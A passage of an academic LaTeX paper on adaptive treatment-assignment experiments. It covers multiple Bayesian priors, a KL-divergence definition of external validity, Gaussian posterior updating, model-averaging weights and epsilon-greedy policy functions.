P_{\pi} \left( | t^{-1} \sum_{s=1}^{t} Y_{s} - \max_{d} \theta(d) | > \Sigma_{1}( \gamma, t , \epsilon ) + ||\theta ||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \zeta_{0} - \theta , \nu_{0} , \epsilon ) + Bias(\epsilon) \right) \leq \gamma
\end{align*}
where \begin{align*}
Bias(\epsilon) : = \epsilon (M+1) \left( \max_{d} \theta(d) - \frac{\sum_{d=0}^{M} \theta(d)} {M+1} \right) ,
\end{align*}
\begin{align*}
\Sigma_{1}( \gamma, t , \epsilon ) : = (M+1) \max_{d} \left( \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right\} \right)^{-1/2} \sqrt{ \frac{\log t}{t} } \sqrt{ \log 3(M+1)/\gamma } ,
\end{align*}
and $\Sigma_{1}$ is decreasing in $\gamma$, decreasing in $t$ and non-increasing in $\epsilon$. Also,
\begin{align*}
\Lambda_{s} ( \Delta , \zeta_{0} - \theta , \nu_{0} /s , \epsilon ) : = & 3 \sum_{d = 0}^{M-1} \exp \left\{ - \frac{s}{ \log s } (\max\{ \Gamma^{-1}( 0.5 \Delta , \zeta_{0}(d) - \theta(d) , \nu_{0}(d) , e_{s}(d) ) , 0 \} )^{2} \mathbf{C}(\epsilon) \right\} . \\
& + 3 \exp \left\{ - \frac{s}{ \log s } (\max\{ \Gamma^{-1}( 0.5 \Delta , - (\zeta_{0}(M) - \theta(M) ), \nu_{0}(M) , e_{s}(M) ) , 0 \} )^{2} \mathbf{C}(\epsilon) \right\} .
\end{align*}
and
\begin{align*}
\Sigma_{1}( \gamma, t , \epsilon ) : = (M+1) \max_{d} \left( \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right\} \right)^{-1/2} \sqrt{ \frac{\log t}{t} } \sqrt{ \log 3(M+1)/\gamma } ,
\end{align*}
and $\Sigma_{1}$ is decreasing in $\gamma$, decreasing in $t$ and non-increasing in $\epsilon$.
\end{proposition}
\begin{proof}
See Appendix \ref{app:avg.Y}.
\end{proof}
Despite the length of the propsition, its parts are quite intuitive. The term $\Sigma_{1}( \gamma , t , \epsilon )$ controls the stochastic error that arises from the difference between $t^{-1}\sum_{s=1}^{t} Y_{s} = \sum_{d=0}^{M} t^{-1}\sum_{s=1}^{t} Y_{s}(d) 1\{ D_{s} =d \} $ and its expectation $ \sum_{d=0}^{M} t^{-1}\sum_{s=1}^{t} Y_{s}(d) E_{\pi}[ \delta(Z_{s})(d) ] $. This term is essentially of order $O( \sqrt{ \log t/ t} )$, where the ``Oh'' depends on $\epsilon$ in a non-increasing way. If $\epsilon$ increases, all else things equal, the data becomes ``more independent'' and we converge faster. The term $ ||\theta ||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon ) $ arises from choosing the wrong treatment, in expectation, because the policy function depends on $\zeta$ and not $\theta$; this expression is similar to the one we obtained in Proposition \ref{pro:PoMM.o} in Appendix \ref{app:PoMM}. Finally, the term $Bias(\epsilon)$ is a non-random bias that stems from the ``exploration'' part of the $\epsilon$-greedy policy function. With probability $\epsilon(M+1)$ the treatment is chosen at random, producing $\sum_{d=0}^{M} \theta(d)/(M+1)$.
The term $ ||\theta ||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon ) $ has a faster rate of convergence than $\Sigma_{1}(\gamma,t,\epsilon)$, thus the leading terms are $\Sigma_{1}(\gamma,t,\epsilon) + Bias(\epsilon)$. These leading terms nicely illustrate the so-called ``exploration vs. exploitation'' tradeoff and how it is regulated by $\epsilon$. By reducing $\epsilon$, we reduce the effect of ``exploration'' by lowering the $Bias(\epsilon)$, but at the cost of (weakly) increasing $\Sigma_{1}(\gamma,t,\epsilon)$.
This tradeoff suggests a choice for $\epsilon$ that balances $Bias(\epsilon)$ and $\Sigma_{1}(\gamma,t,\epsilon)$. Unfortunately, such a choice is infeasible as both terms depend on unknown quantities and $\mathbf{C}(.)$ does not have an explicit expression. Nevertheless, we can conclude that $\epsilon =1$ --- the choice used in RCTs --- will typically not be optimal. In fact, as $t$ increases, the ``optimal'' $\epsilon$ will decrease to $0$, favoring ``exploitation'' to ``exploration''. We explore the choice of $\epsilon$ further, when we simulate our model.
\section{Setup}\label{sec:setup}
In this section, we describe the problem our policymaker (PM) aims to solve. We first present the general model, followed by a more specialized problem that is the main focus of the paper.
\subsection{General Model}
Our PM's problem consists of three parts: the experiment, the learning framework, and the policy functions.
\subsubsection*{The Experiment} The PM has to decide how to assign a treatment to a given unit (e.g. individuals or firms) and when to stop the experiment. We define an experiment by a number of instances $T \in \mathbb{N}$; a discrete set of observed characteristics of the unit, $\mathbb{X}$; a set of treatments $\mathbb{D} : = \{ 0,...,M\} $; and the set of potential outcomes. For now, we do not include a payoff function.
At this point, it is useful to introduce some notation. For each $(d,x) \in \mathbb{D} \times \mathbb{X}$, let $Y_{t}(d,x) \in \mathbb{R}$ denote the potential outcome associated with treatment $d$ and characteristic $x$ in instance $t$; also, let $Y_{t}(d): = (Y_{t}(d,x))_{x \in \mathbb{X}}$. Let $D_{t}(x) \in \mathbb{D}$ be the treatment assigned to the unit with characteristic $x$ in instance $t$. We denote the \emph{observed} outcome of the unit with characteristic $x$ in instance $t$ as $Y_{t}(D_{t}(x),x)$.
The experiment has the following timing. At each instance, $t \in \{1,...,T\}$, the PM is confronted with $|\mathbb{X}| < \infty$ units, one for each value of the observed characteristic. We assume this out of convenience: it is straightforward to extended our theory to situations where the PM receives a random number of units, including zero, for each characteristic, provided this random number is exogenous. At the beginning of the period, the PM decides whether to stop the experiment.
\begin{itemize}
\item If the PM decides to stop the experiment,
\begin{itemize}
\item she chooses a treatment assignment at instance $t$ that will be applied to all subsequent units.
\end{itemize}
\item If the PM does not stop the experiment,
\begin{itemize}
\item she chooses a treatment assignment for each unit $x$ at time $t$.
\item Nature draws potential outcomes, $Y_{t}(d,x)$, for each unit.
\item The PM only observes the outcome corresponding to the assigned treatment, i.e. $Y_{t}(D_{t}(x),x)$.
\end{itemize}
\end{itemize}
We impose the following restriction on the data generating process for the vector of potential outcomes.
\begin{assumption}\label{ass:IID}
For each $t \in \{1,...,T\}$ and each $x \in \mathbb{X}$, $(Y_{t}(d,x))_{d \in \mathbb{D} }$ is drawn IID where $Y(d,x) \sim P(\cdot | d, x) \in \Delta(\mathbb{R})$.
\end{assumption}
Assumption \ref{ass:IID} implies that units do not self-select across instances, i.e., the types of unit treated in instance $t$ are the same as the types treated in instance $t'$. Implicit in this assumption and framework is also the absence of any selection into treatment or attrition, which is reasonable to assume for most experimental settings.
\subsubsection*{The Learning Model}
The PM does not know the probability distribution of potential outcomes $P$, but does have prior beliefs about it. This prior knowledge can come from many sources: the PM's own prior knowledge, expert opinions, or past experiments. Importantly, we allow for multiple sources, in case the PM is unwilling or unable to discard one in favor of the others. If her prior sources of information extrapolate to the current experiment, then she should use them because they contain relevant information. But if some sources are not externally valid, then incorporating them in her assignment of treatment may lead to incorrect decisions, at least in finite samples. Thus, our PM not only faces the question of whether to incorporate the different sources, but how to aggregate them as well. We formalize this ``external validity dilemma'' by using a multiple prior Bayesian model.
Formally, for each $(d,x) \in \mathbb{D} \times \mathbb{X}$, the PM has a family of PDFs indexed by a finite dimensional parameter $\theta \in \Theta$, $\mathcal{P}_{d,x} : = \{ p_{\theta} \colon \theta \in \Theta \}$, that describes what she believes are plausible descriptions of the true probability of the potential outcome $Y(d,x)$. Specifically, suppose the PM has $L+1$ prior beliefs, $(\mu^{o}_{0}(d,x))_{o=0}^{L}$, regarding which elements of $\mathcal{P}_{d,x}$ are more likely; these prior beliefs summarize the prior knowledge obtained from the $L+1$ different sources. By convention, we use $o=0$ to denote the PM's own prior and leave $o>0$ to denote the other sources.
For each $(d,x) \in \mathbb{D} \times \mathbb{X}$, the family $\mathcal{P}_{d,x}$ and the collection of prior beliefs give rise to $L+1$ subjective Bayesian models for $P(\cdot|d,x)$. Given the observed data of past treatments and outcomes, at instance $t \geq 1$, the PM will observe the realized outcome $Y_{t}(D_{t}(x),x)$ and the treatment assignment $D_{t}(x)$. Using Bayesian updating, she will then form posterior beliefs for each model given by
\begin{align*}
\mu^{o}_{t}(d,x)(A) = \frac{ \int_{A} p_{\theta}(Y_{t}(D_{t}(x),x) )^{1\{ D_{t}(x) =d \}} \mu^{o}_{t-1}(d,x)(d\theta) }{ \int_{\Theta} p_{\theta}(Y_{t}(D_{t}(x),x))^{1\{ D_{t}(x) =d \}} \mu^{o}_{t-1}(d,x)(d\theta) }
\end{align*}
for any Borel set $A \subseteq \Theta$. Observe that the belief is updated using observed data, $(Y_{t}(D_{t}(x),x),D_{t}(x))$. Given $D_{t}(x)=d$, the observed outcome corresponds to $Y(d,x)$ and thus the conditional PDF of $Y_{t}(x)$ given $D_{t}(x)=d$ is described by $p_{\theta}$.\footnote{Because the PM already knows the probability of $D_{t}(x)$, she does not need to include it as part of the Bayesian updating problem.} That the belief for $(d,x)$ is only updated if $D_{t}(x) = d$ is analogous to the missing data problem featured in experiments under the frequentist approach.
It is worth noting that we specify subjective models for $P(\cdot|d,x)$ for each $(d,x)$, as opposed to the joint distribution over $(Y(d,x))_{d \in \mathbb{D}}$. This decision is innocuous when the PM's objective is to learn about the distributions or moments of each $Y(d,x)$, such as the average or quantiles. If, however, the objective was to learn features of the joint distribution --- e.g., the correlation between potential outcomes --- then we would have to modify the learning model. The subjective model would now be a family of probability distributions over $(Y(d,x))_{d \in \mathbb{D}}$. We present such a model in Appendix \ref{app:General.Learning.Model}, in which we also show how to obtain the learning model presented here as a particular case.
\paragraph{ Model Aggregation \& External Validity. }
Faced with $L+1$ distinct subjective Bayesian models, $\{ \langle \mathcal{P}_{d,x}, \mu^{o}_{0}(d,x) \rangle \}_{o=0}^{L} $, our PM has to aggregate this information. There are different ways to do this; we choose one that, at each instance $t$, averages the posterior beliefs of each model using as weights the posterior probability that model $o$ best fits the observed data within the class of models being considered,
i.e.,
\begin{align}
\mu^{\alpha}_{t}(d,x)(A) : = \sum_{o=0}^{L} \alpha^{o}_{t}(d,x) \mu^{o}_{t}(d,x) (A) \label{eqn:mu.alpha}
\end{align}
for any Borel set $A \subseteq \mathbb{R}$, where
\begin{align*}
\alpha^{o}_{t}(d,x) : = \frac{ \int \prod_{s=1}^{t} p_{\theta}(Y_{s}(d,x) ) ^{1\{ D_{s}(x) =d \}} \mu^{o}_{0}(d,x) (d\theta) }{ \sum_{o=0}^{L} \int \prod_{s=1}^{t} p_{\theta} (Y_{s}(d,x)) ^{1\{ D_{s}(x) =d \}} \mu^{o}_{0}(d,x) (d\theta) }.
\end{align*}
We can interpret $\alpha^{o}_{t}(d,x)$ as a measure of the PM's subjective probability that the prior belief associated with source $o$ for $(d,x)$ is externally valid for her current experiment. To expound on this last point, we introduce a definition of ``external validity'' that we can relate to the behavior of $(\alpha^{o}_{t}(d,x))_{o=0}^{L}$.
For each $(d,x) \in \mathbb{D} \times \mathbb{X}$ and $\mathcal{P}_{d,x}$, let
\begin{align*}
\theta \mapsto KL_{d,x}(\theta) : = E_{p(\cdot | d,x)}\left[ \log \frac{ p(Y(d,x) \mid d,x ) }{ p_{\theta}(Y(d,x)) } \right]
\end{align*}
be the Kullblack-Leibler (KL) divergence, which acts as a notion of distance between the true PDF of $Y(d,x)$ --- given by $p(\cdot | d,x)$ --- and a ``subjective" one $p_{\theta} \in \mathcal{P}_{d,x}$.\footnote{Indeed, $KL_{d,x} \geq 0$ and $KL_{d,x}(\theta) = 0$ iff $p_{\theta} = p(\cdot | d,x)$. It is not, however, a distance in the formal sense as it does not satisfy triangle inequality. Finally, the KL divergence does not depend on $o$ as all models are assumed to have the same family $\mathcal{P}_{d,x}$.} By combining the KL with the prior, $\mu_{0}(d,x)$ that determines the likelihood of each $\theta \in \Theta$, we construct a notion of distance between the true PDF and the subjective Bayesian model, $\langle \mathcal{P}_{d,x} , \mu_{0}(d,x) \rangle$ , and in turn, to propose a definition of external (in)validity.
\begin{definition}[Externally Invalid Subjective Bayesian Model]
We say a subjective Bayesian model $\langle \mathcal{P}_{d,x}, \mu^{o}_{0}(d,x) \rangle$ is externally invalid for $(d,x)$ if $$u_{o}(d,x)>0$$ where $u_{o}(d,x)$ is the smallest $u \geq 0$ such that $ \mu^{o}_{0}(d,x) \left( \theta \colon KL_{d,x}(\theta) \leq u \right) > 0.$
\end{definition}
According to this definition, a model is externally invalid if the associated source (i.e., the prior) puts zero probability to any PDF that is equivalent --- as measured by the KL divergence --- to the true PDF. If no $u_{o}(d,x) >0$ exists, we say the subjective Bayesian model is externally valid for $(d,x)$. Moreover, $u_{0}(d,x)$ quantifies how far the true PDF is from the closest PDF within the subjective Bayesian model.
To illustrate this definition, consider the following graph below. The horizontal axis indicates different values of $\theta$, where the $\theta$ of the true PDF is set at the origin. The vertical axis corresponds to the resulting KL distance between the true PDF of $Y(d,x)$ and the ``subjective'' one $p_{\theta}$. As the line labeled $KL_{d,x}$ depicts, $\theta$s further from the origin are associated with larger distances. In addition, we also plot a subjective belief $\mu^o(d,x)$ over the set of $\theta$s, for which the model places positive probability. According to our definition, the model $\mu^o(d,x)$ is externally invalid because as the graph depicts there exists a $u_{o}(d,x)>0$, such that $\mu^{o}_{0}(d,x) \left( \theta \colon KL_{d,x}(\theta) \leq u \right) > 0$.
\begin{center}
\begin{tikzpicture}
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\coordinate (D) at (5,3.35);
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\coordinate (F) at (1.5,-0.5);
\node[yshift=0cm] at (A) {{\small{$u_{o}(d,x)$}}};
\node[yshift=0cm] at (E) {{\small{$u'$}}};
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\node[yshift=0cm] at (F) {{\footnotesize{${\color{blue}{\{ \theta \colon KL_{d,x}(\theta) \leq u_{o}(d,x) \}}}$}}};
\node[yshift=0cm] at (C) {$KL_{d,x}$};
\node[yshift=0cm] at (D) {$\mu^{o}(d,x)$};
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\end{center}
A couple of remarks about this definition are in order. First, within the ``frequentist'' setup, where priors are degenerate, we believe this definition offers a new formalization of what is commonly understood as external validity (or rather, lack thereof): a model that puts probability one to, say, $\bar{\theta}$ --- is externally valid if $p_{\bar{\theta}}(\cdot) = p(\cdot | d,x)$ almost surely under $P(\cdot |d,x)$.\footnote{For an alternative formalization of external validity, see for example \cite{BoGaliani:2020} and references therein.} Second, this definition offers a way to quantify or rank external invalidity among models: \textbf{model $o'$ is less externally invalid than model $o$ for $(d,x)$, if $u_{o'}(d,x) < u_{o}(d,x)$}; i.e., as illustrated in the graph below, model $o'$ is ``closer" to the truth than model $o$.
\begin{center}
\begin{tikzpicture}
\draw[thick,->] (0,0) -- (9,0) node[anchor=north west] {$\theta$};
\draw[thick,->] (0,0) -- (0,4.5) node[anchor=south east] {~};
\draw (0,0) parabola (8,4);
\draw [red] plot [smooth] coordinates {(3,0) (5,3) (7,0)};
\draw [blue] plot [smooth] coordinates {(1.75,0) (2.2,0.5) (4.5,2) (7,0.5) (8,0)};
\draw [red,densely dashed] plot coordinates {(3,0) (3,0.58)};
\draw [red,densely dashed] plot coordinates {(0,0.58) (9,0.58)};
\draw [blue,densely dashed] plot coordinates {(1.75,0) (1.75,0.21)};
\draw [blue,densely dashed] plot coordinates {(0,0.21) (9,0.21)};
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\coordinate (E) at (2.4,1.5);
\node[yshift=0cm] at (A) {{\small{$u_{o}(d,x)$}}};
\node[yshift=0cm] at (B) {{\small{$u_{o'}(d,x)$}}};
\node[yshift=0cm] at (C) {$KL_{d,x}$};
\node[yshift=0cm] at (D) {$\mu^{o}_{0}(d,x)$};
\node[yshift=0cm] at (E) {$\mu^{o'}_{0}(d,x)$};
\end{tikzpicture}
\end{center}
The next proposition provides a link between this ranking of external invalidity and our weights $(\alpha^{o}_{t}(d,x))_{o=0}^{L}$. It shows that, as $t$ diverges, the weights are only positive for the least externally invalid models.\footnote{Lemma \ref{lem:alpha.asymptotics.general} in the Appendix \ref{app:alpha} provides a non-asymptotic version of this proposition.}
\begin{proposition}\label{pro:alpha.asymptotics.general}
Suppose $\Theta \subseteq \mathbb{R}^{|\Theta|}$ is compact and $\theta \mapsto \log p_{\theta}$ is continuous with $\sup_{\theta \in \Theta} \log p_{\theta}$ having a finite second moment. Then, for any $(d,x) \in \mathbb{D}\times \mathbb{X}$, if model $o'$ is less externally valid than model $o$, then
\begin{align*}
\frac{\alpha^{o}_{t}(d,x)}{\alpha^{o'}_{t}(d,x)} = o_{P}(1)
\end{align*}
\end{proposition}
\begin{proof}
See Appendix \ref{app:alpha}.
\end{proof}
The proposition implies that if there exists an externally valid model among externally invalid models, the weight of the externally valid model will approach one as $t$ diverges. This is why we interpret $\alpha^{o}_{t}(d,x)$ as a measure of external validity of our sources. It assigns higher probability --- approaching 1 in the limit --- to the source that is externally valid, and lower probability to sources that are externally invalid. Similarly, the proposition also suggests that our proposed way for aggregating the $L+1$ distinct subjective Bayesian models enjoys a ``robustness property" in the sense that externally invalid models carry little weight and therefore have little influence on the PM's decisions.
\subsubsection*{The Policy Rule} The policy rule associated with this experiment defines the behavior of the PM. We define it as a sequence of two policy functions that, at each instance $t$, determine the probability of stopping the experiment and the probability of treatment for each $x \in \mathbb{X}$.
The first policy function, $ \sigma_{t}( y^{t-1} , d^{t-1} ) \in [0,1]$, specifies the probability of stopping the experiment given the observed history $y^{t-1} , d^{t-1}$. The second policy function, $\delta_{t}(y^{t-1},d^{t-1})(\cdot|x) \in \Delta(\mathbb{D})$ for each $x \in \mathbb{X}$, specifies the probability distribution over treatments for each $x \in \mathbb{X}$; i.e., $\delta_{t}(y^{t-1},d^{t-1})(d|x)$ is the probability that $x \in \mathbb{X}$ receives treatment $d$ given the past history.
Hence, the policy rule defines two consecutive stages in the experiment: A last stage of exploitation where the experiment has been stopped and what is thought to be the best treatment is chosen, and a first stage of exploitation \emph{and} exploration. How the PM regulates this tradeoff will be discussed in more detail in the following section.
\subsection{The Markov Gaussian Model for Average Outcomes}
\label{sec:specific}
The general setup provides (in our opinion) a useful conceptual framework to study experiments and policy recommendations. But at this level of generality, it becomes difficult to understand the dynamics of the problem. It requires characterizing the process of the posterior beliefs $(\mu^{o}_{t}(d,x))_{t=0}^{T}$ for each model $o$, which is an infinite dimensional object. Moreover, the policy functions depend on time, which introduces another level of time non-homogeneity. Therefore, we focus instead on a setup involving Gaussian subjective models, policy functions that are (mostly) Markov, and a PM who is interested in the average effects of treatments.
Even though this new setup is more restrictive than the original one, it is sufficiently general to encompass the canonical RCT setup for estimation of average treatment effects, even with the Gaussianity assumption. To see this, note that even if the PM's subjective model for potential outcomes is misspecified (i.e. she incorrectly assumes that $Y(d,x)$ is Gaussian) the PM can still accurately learn the true average effect because, for each $(d,x)$, there always exists a $\theta$ such that $\theta = E_{P(.|d,x)}[Y(d,x)]$. We show this is the case in Section \ref{sec:zeta.concentration}.
Henceforth, for each $(d,x) \in \mathbb{D} \times \mathbb{X}$, let $$\theta(d,x): = E_{P(\cdot|d,x)}[Y(d,x)],$$
which will be the object of interest for the PM.
Formally, the Gaussian learning model is constructed assuming that, for each $(d,x) \in \mathbb{D} \times \mathbb{X}$, $\mathcal{P}_{d,x}$ is a family of Gaussian PDFs given by $\{ \phi(\cdot; \theta , 1) \colon \theta \in \mathbb{R} \}$ and the prior for every source is also assumed to be Gaussian with mean $\zeta^{o}_{0}(d,x)$ and variance $1/\nu^{o}_{0}(d,x)$.\footnote{ Throughout, $\phi (\cdot;\theta,\sigma^{2})$ is the Gaussian PDF with mean $\theta$ and variance $\sigma^{2}$.} The quantity $\nu^{o}_{0}(d,x)$ can be interpreted as the number of units with characteristics $x$ that were assigned treatment $d$ in a past experiment. The higher the $\nu^{o}_{0}(d,x)$, the more certain source $o$ is about $\phi (\cdot;\zeta^{o}_{0}(d,x),1)$ being the correct model. Throughout, we will assume $\zeta^{o}_{0}$ and $\nu^{o}_{0}$ are non-random.
Given the observed data of past treatments and observed outcomes, at instance $t$ the posterior belief is also Gaussian with mean and inverse of the variance given by the following recursion: For any $t \geq 1$,
\begin{align}\notag
\zeta^{o}_{t}(d,x) = & \frac{ 1\{ D_{t}(x) = d \} }{ \nu^{o}_{t-1}(d,x) + 1\{ D_{t}(x) = d \} } Y_{t}(d,x) + \frac{ \nu^{o}_{t-1}(d,x) }{ \nu^{o}_{t-1}(d,x) + 1\{ D_{t}(x) = d \} } \zeta^{o}_{t-1}(d,x) \\ \label{eqn:zeta.o-0}
= & \frac{ 1 }{ N_{t}(d,x) + \nu^{o}_{0}(d,x) } \sum_{s=1}^{t} Y_{s}(d,x) 1\{ D_{s}(x) = d \} + \frac{ \nu^{o}_{0}(d,x) }{ N_{t}(d,x) + \nu^{o}_{0}(d,x) } \zeta^{o}_{0}(d,x)\\
\label{eqn:zeta.o}
= & \frac{ N_{t}(d,x) }{ N_{t}(d,x) + \nu^{o}_{0}(d,x) } m_{t}(d,x) + \frac{ \nu^{o}_{0}(d,x) }{ N_{t}(d,x) + \nu^{o}_{0}(d,x) } \zeta^{o}_{0}(d,x)\\
\notag
&~and \\ \label{eqn:nu.o}
\nu^{o}_{t}(d,x) = & \nu^{o}_{t-1}(d,x) + 1\{ D_{t}(x) = d \} = N_{t}(d,x) + \nu^{o}_{0}(d,x),
\end{align}
where $N_{t}(d,x) : = \sum_{s=1}^{t} 1\{ D_{s}(x) =d \}$ and $ m_{t}(d,x) : = \frac{ \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} Y_{s}(d,x) } { N_{t}(d,x) } $.
From these expressions -- and the assumption of Markov policy function (see below for details) -- we can see how Gaussianity simplifies the dynamics of the problem; we only need to analyze $(\zeta^{o}_{t}(d,x),\nu^{o}_{t}(d,x))_{t=0}^{T}$, a finite dimensional object with a Markov structure (see Section \ref{sec:analytical_results} for details), as opposed to $(\mu^{o}_{t}(d,x))_{t=0}^{T}$, an infinite dimensional object that is quite intractable.
\begin{remark}
Our results and methodology clearly extend to any subjective model whose posterior beliefs can be fully described by low finite-dimensional objects. For instance, in cases where $Y(d,x) \in \{1,...,J\}$ is a discrete random variable, our results and methodology extend to the Multinomial-Dirichlet model wherein the $t$ instance posterior is given by a Dirichlet density with parameters given by $\alpha_{t}(j) = \alpha_{0}(j) + \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} 1\{ Y_{s}(d,x) = j \}$ for any $j \in \{1,...,J\}$.
More generally, our methodology can be extended to the entire exponential family --- which includes the models considered here and more, see \cite{schlaifer1961applied} for examples.
$\triangle$
\end{remark}
As we discussed above, our definition of external invalidity allows us to distinguish between models that are more or less externally invalid. But it is silent about comparisons within externally valid models. This is not an issue within a ``frequentist setup'', where the priors are degenerate, as any two externally valid models are identical.\footnote{By ``identical'' we mean that each model has a component, $p^{o}$ and $p^{o'}$ that nullifies the KL divergence.} In a Bayesian setup, however, there could be different degrees of external validity which are not captured by our general definition; for instance, if two models are both externally valid, but the prior of one is more concentrated around the true PDF than the other one. The next lemma makes progress on this issue for Gaussian subjective Bayesian models wherein the weights $(\alpha^{o}_{t}(d,x) )_{o=0}^{L}$ get simplified.
\begin{lemma}\label{lem:alpha.properties}
For any $o \in \{ 0,...,L \}$, any $ t \geq 1$, and any $(d,x) \in \mathbb{D}\times \mathbb{X}$,
\begin{enumerate}
\item
\begin{align*}
\alpha^{o}_{t}(d,x) : = \frac{ \phi( m_{t}(d,x) - \zeta^{o}_{0}(d,x) ; 0 , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) ) } { \sum_{o=0}^{L} \phi( m_{t}(d,x) - \zeta^{o}_{0}(d,x) ; 0 , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) ) }.
\end{align*}
\item $\lim_{|\zeta^{o}_{0}(d,x) - m_{t}(d,x)| \rightarrow \infty} \alpha^{o}_{t}(d,x) = 0$ .
\item $\alpha^{o}_{t}(d,x) = \frac{ \phi( \sqrt{\nu^{o}_{0}(d,x)} (\theta(d,x) - \zeta^{o}_{0}(d,x)) ; 0, 1 ) \sqrt{\nu^{o}_{0}(d,x)} } { \sum_{o'=0}^{L} \phi( \sqrt{\nu^{o'}_{0}(d,x)} (\theta(d,x) - \zeta^{o'}_{0}(d,x)) ; 0 ,1 ) \sqrt{\nu^{o'}_{0}(d,x)} } + o_{P}(1)$.
\end{enumerate}
\end{lemma}
\begin{proof}
See Appendix \ref{app:alpha}.
\end{proof}
The lemma characterizes $\alpha^{o}_{t}(d,x)$ as the odds ratio of Gaussian PDFs, which with probability approaching one are evaluated at $\theta(d,x) - \zeta^{o}_{0}(d,x)$ with mean 0 and variance $1/\nu^{o}_{0}(d,x)$. Moreover, it also illustrates how $\alpha^{o}_{t}$ offers certain robutness properties against lack of external validity. That is, if the prior mean, $\zeta^{o}_{0}(d,x)$ is ``far away'' from $m_{t}(d,x)$ --- which, with enough observations, approximates the true $\theta(d,x)$ with high probability --- then the associated weight of that model is approximately 0. Similarly, the weight will be higher for models with priors more concentrated around the true parameters.
Part (3) of the lemma complements Proposition \ref{pro:alpha.asymptotics.general} for the Markov Gaussian learning model. It offers an asymptotic characterization of the weights when all the models are, according to our definition, externally valid. It shows that not only will $\alpha^{o}_{t}(d,x)$ not equal 0 or 1 even with infinite data, but it also suggests a partial ordering among externally valid sources. To see this, it is useful to introduce some nomenclature: We call $|\zeta^{o}_{0}(d,x) - \theta(d,x) |$ the \textbf{bias} of model $o$, and $\nu^{o}_{0}(d,x)$, the \textbf{degree of conviction}. We call $|\zeta^{o}_{0}(d,x) - \theta(d,x) | \sqrt{\nu^{o}_{0}(d,x)}$, \textbf{the degree of stubbornness} of model $o$ and a model with zero stubbornness and high conviction, \textbf{confident}. Part (3) indicates that, asymptotically, $\alpha^{o}_{t}(d,x)$ will put more weight on models that are less stubborn and more confident. In particular, if $\nu^{o}_{0}(d,x)$ diverges -- intuitively, if all the prior sources have large sample sizes --, $\alpha^{o}_{t}(d,x)$ will concentrate around the least stubborn model.
\paragraph{Policy Rule.} We now turn our attention to the policy rule. Our policy rule consists of two policy functions: the one that assigns treatments and the one that stops the experiment. The policy function that assigns treatments, $\delta$, is assumed to be Markov. For any past history $(y^{t-1},d^{t-1})$,
\begin{align*}
\delta_{t}(y^{t-1},d^{t-1})(\cdot | x) = \delta \left( \zeta_{t-1} , \nu_{t-1} , \alpha_{t-1} \right)(\cdot| x),~\forall x \in \mathbb{X},
\end{align*}
where $\zeta_{t} : = (\zeta^{o}_{t})_{o=0}^{L}$ (the other variables are similarly defined). We require the policy function $\delta$ to be time homogeneous, only depending on the state -- $ (\mu_{t} , \alpha_{t} ) $. When we derive our analytical results, this assumption ensures a Markov structure for our state variables and other variables of interest. We also impose the following additional assumption:
\begin{assumption}\label{ass:PF.epsilon}
There exists an $\epsilon \in (0 , 1/(M+1) ) $ such that $\delta (\cdot) (\cdot | x) \geq \epsilon $ for all $ x\in \mathbb{X}$.
\end{assumption}
Under this assumption, each treatment arm is chosen with positive probability, thus ensuring some experimentation. This assumption will be key for deriving the results in Section \ref{sec:analytical_results}.
Given these assumptions, we now present some examples of policy rules that are admissible in our framework; we also discuss what type of behavior our framework does not accommodate.\footnote{We refer the reader to \cite{Wager:2021} for more examples of policy functions in a similar setup.} Recall that our PM wants to discover the average effect of each treatment. At each instance $t$, the (subjective) average effect of treatment $d$ for unit $x$ is given by
\begin{align*}
\int y \left( \int_{\Theta} \phi(y; \theta, 1) \mu^{\alpha}_{t}(d,x) (d\theta) \right) dy;
\end{align*}
i.e., the expected $Y(d,x)$ where the expectation is taking with respect to $\phi(.;\theta,1)$ --- the PDF describing the subjective model of the PM --- where each parameter $\theta$ is weighted according to the posterior belief defined in Expression \ref{eqn:mu.alpha}. By re-arranging the order of the integrals, it follows that
\begin{align*}
\int y \left( \int_{\Theta} \phi(y; \theta, 1) \mu^{\alpha}_{t}(d,x) (d\theta) \right) dy = & \sum_{o=0}^{L} \alpha^{o}_{t}(d,x) \int y \phi(y; \zeta^{o}_{t}(d,x),1/\nu^{o}_{t}(d,x)) dy \\
= & \sum_{o=0}^{L} \alpha^{o}_{t}(d,x) \zeta^{o}_{t}(d,x) = : \zeta^{\alpha}_{t}(d,x) .
\end{align*}
Hence, the (subjective) average effect of treatment $d$ on unit $x$ at instance $t$ is given by $\zeta^{\alpha}_{t}(d,x)$. Thus, the PM uses this quantity to assign treatment. In Section \ref{sec:finite}, we establish some finite sample properties of this quantity, such as the rate at which it concentrates around the true average effect.
\begin{example}[Epsilon-Greedy Policy Function]
A commonly-used policy function that is admissible in our framework is the so-called Epsilon-Greedy policy function:
\begin{align}\label{eq:epsilon_greedy}
\delta \left( \zeta_{t} , \nu_{t} , \alpha_{t} \right)(d | x) = (M+1) \epsilon \frac{1}{M+1} + (1 - (M+1) \epsilon ) 1\{ d = \arg\max_{a} \zeta^{\alpha}_{t}(a,x) \}.
\end{align}
With probability $(M+1) \epsilon$, the treatment is assigned randomly, and with one minus this probability, the treatment assigned is the one with highest posterior mean.
$\triangle$
\end{example}
\begin{example}[Optimal policy function]
